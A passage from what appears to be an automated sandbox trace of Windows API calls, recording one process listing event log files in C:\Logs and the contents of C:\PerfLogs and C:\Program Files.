	[0240.758] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.759] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.759] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.759] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0240.759] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.760] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.760] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.760] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000)) returned 1
	[0240.760] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.760] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.761] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.761] GetFileAttributesExW (in: lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000)) returned 1
	[0240.763] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.764] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.764] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.764] GetFileAttributesExW (in: lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.766] CreateFileW (lpFileName="C:\\PerfLogs" (normalized: "c:\\perflogs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.766] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.766] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.767] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.767] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.767] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0240.768] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0240.768] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xeda3c44c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xeda3c44c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0240.768] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xeda3c44c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xeda3c44c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.768] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xeda3c44c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xeda3c44c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.769] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0240.769] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0240.769] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe9ceadd8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9ceadd8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0240.769] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe71239bc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71239bc, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0240.769] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5b055a0, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5b055a0, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0240.769] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe71e2486, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71e2486, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1
	[0240.769] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe5b77d5b, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5b77d5b, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1
	[0240.769] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7064c17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7064c17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe725889b, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe725889b, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe9ceadd8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9ceadd8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl", cAlternateFileName="")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xa747e827, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2709a20, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xe9ceadd8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9ceadd8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7064c17, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7064c17, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xe5b2b7c8, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe5b2b7c8, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71e2486, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71e2486, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71499ad, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71499ad, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71239bc, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71239bc, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0240.770] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7244e92, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7244e92, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0240.771] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71bdfa5, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71bdfa5, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0240.771] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92acc65, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1
	[0240.771] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71e2486, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71e2486, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0240.771] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0240.771] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe71e2486, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe71e2486, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0240.771] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.771] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.771] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
